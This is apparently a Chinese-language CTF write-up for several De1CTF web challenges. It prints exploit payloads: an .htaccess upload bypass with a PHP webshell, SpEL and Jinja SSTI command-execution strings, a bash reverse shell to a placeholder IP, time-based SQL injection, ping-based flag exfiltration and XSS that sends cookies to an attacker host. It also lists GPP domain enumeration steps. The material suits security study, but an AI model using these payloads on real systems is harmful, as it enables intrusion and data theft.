de1ta 师傅出的题质量真的太高了,膜拜一下
checkin
文件上传题目
先上传 .htaccess,php 字段使用反斜杠绕过
1 | AddType application/x-httpd-p\ |
然后上传后缀为 .png 的一句话木马访问即可
1 | <?= system('cat /flag'); |
calc
java 计算器题目
这题是环境坏了捡了个漏
抓包修改 clac
,添加一些图书字符使其报错,发现是 springboot 框架
可以知道是 SpEL 表达式注入
fuzz 之后过滤了以下关键字
1 | - T\s*\( |
payload 可以结合 java 的反射机制和字符串拼接可以绕过黑名单
1 | "".class.forName("java.l"+"ang.Ru"+"ntime").getDeclaredMethods()[15].invoke\ |
但是可以执行命令之后发现还有一个 openrasp 的 waf
当时没什么头绪,但是发现下午的时候它的 openrasp 崩了 :)
于是就可以执行命令了,参考下面文章在 java 反弹 shell 然后 cat /flag 就好了
https://blog.spoock.com/2018/11/25/getshell-bypass-exec/
1 | /bin/bash -c bash${IFS}-i${IFS}>&/dev/tcp/xxx.xxx.xxx.xxx/9999<&1 |
复现的时候才知道,有 waf 的情况下可以直接读文件
1 | "".class.forName("java.nio.ByteBuffer").wrap("".class.forName("java.nio.file.Files").readAllBytes("".class.forName("java.nio.file.Paths").get("/flag"))).get({}) |
mixture
limit 注入 + .so 拓展逆向题目
limit 注入
打开 member.php 有一个 orderby 提示
fuzz 了很久页面还是毫无变化,黑名单是以下关键字
1 | - if |
过了很久才测出下面 payload 页面有变化
1 | member.php?orderby=limit%201 |
这题就和 2019GoogleCTF 的 gLotto 差不多
https://xz.aliyun.com/t/5503#toc-1
1 | orderby=is+not+null,+(case+when+(ascii(mid(database(),1,1))=116)+then+(select+benchmark(5000000,sha(1))+from+users+limit+1)+else+null+end) |
利用脚本进行盲注得到密码
1 | import requests as req |
.so 拓展逆向
进去之后是一个读文件接口和 phpinfo 页面
搜索一到一个 Minclude
扩展,然后根据拓展地址下载下来
后面就交给 @q4n 爷爷去 rop 了,附上队友的脚本
1 | import requests |
反弹 shell 后上去动态 /readflag 前抓一下时钟计算就好了
1 | trap '' 14 |
Hard_pentest1
无字母 shell + 渗透题目
文件上传
一开始文件上传,后缀可以用大小写绕过 pHp
字符限制可以用 $_
自增绕过
附上队友的脚本
1 | res = [] |
然后就可以使用 file_put_contents
进行写马了
渗透
具体用到的是一个组策略 gpp 的漏洞
主要参考月亮大哥的思路
netstat -ano
查看一下网络信息发现有一台192.168.0.12
的主机
net user /domain
查看域发现有一个HintZip_Pass
用户
net user HintZip_Pass /domain
继续查看该账户
查看域控信息
挂载查看 Hint
信息
1 | net use e: \\192.168.0.12\Hint |
发现一个加密压缩包
挂载再查看 SYSVOL
信息
1 | net use e: \\192.168.0.12\SYSVOL |
使用tree
查看目录结构
这个Groups
文件夹, 有GPP漏洞
使用 kali 的 gpp-decrypt
工具解密即可拿到解压密码
mc_logclient
SSTI 题目
简单说一下题目逻辑就是写文件和读文件前都需要校验 work
这个是可以简单爆破的,先读文件才能进行写文件(这个不重要),读文件可以出发 SSTI 漏洞
1 | def get_work(text, result): |
SSTI 的黑名单如下,问题不大,可以用 request 绕过
1 | # Some bad words. |
这里过滤的是 ‘’ 而不是 ‘ 当时被坑了
给出一个简单的 payload
1 | {{().__class__.__bases__[0].__subclasses__()[132].__init__.__globals__['system'](request.args.b)}} |
虽然是可以命令执行了,但是当时什么外带命令都打不出来,赛后发现是可以用 ping 进行外带数据
客户端执行
1 | ping -c 1 -p `/readflag` [your vps] |
vps 执行
1 | tcpdump -c 2 -q -XX -vvv -nn -i eth0 icmp |
就可以监听到 flag 数据了,但是 icmp 包最大只能接收84长度的数据包,所有要打多几次
官方 wp 利用新特性 breakpointhook
的方法
https://github.com/impakho/de1ctf-mc_challs/tree/master/writeup/mc_logclient
Animal Crossing
XSS 题目
一进来是个好看的动森界面
经过 fuzz 可以发现 name、fruit 和 username 处有转义,title 处有 waf,显然注入点就在 title,但是直接加了单引号被 waf 了,而且 \x 编码绕不过就迷茫了,后来才发现不是单引号被 waf 了,是报错被 waf 了 :)
title 可以直接单引号注释逃逸
1 | titile=1'// |
看看 CSP,支持内联标签
1 | Content-Security-Policy: default-src 'self' 'unsafe-inline' 'unsafe-eval';object-src 'none'; |
黑名单绕过就使用 base64 编码
1 | 1'+open(atob('payload')) |
以下 payload 可以弹回 cookie,cookie 弹回来就是前一半的 flag
1 | (function test(){window.location="http://ip:9999/?f="+btoa(document.cookie);}()));// |
然后读一下网页源码可以看到有 400 张图片
1 | (function test(){window.location="http://ip:9999/?f="+btoa(document.body.innerHTML);}()));// |
利用 upload 接口把照片带到外面
1 | (async()=>{ |
下载图片然后拼图得到后半部分的 flag
1 | def main(width_len, height_len, result): |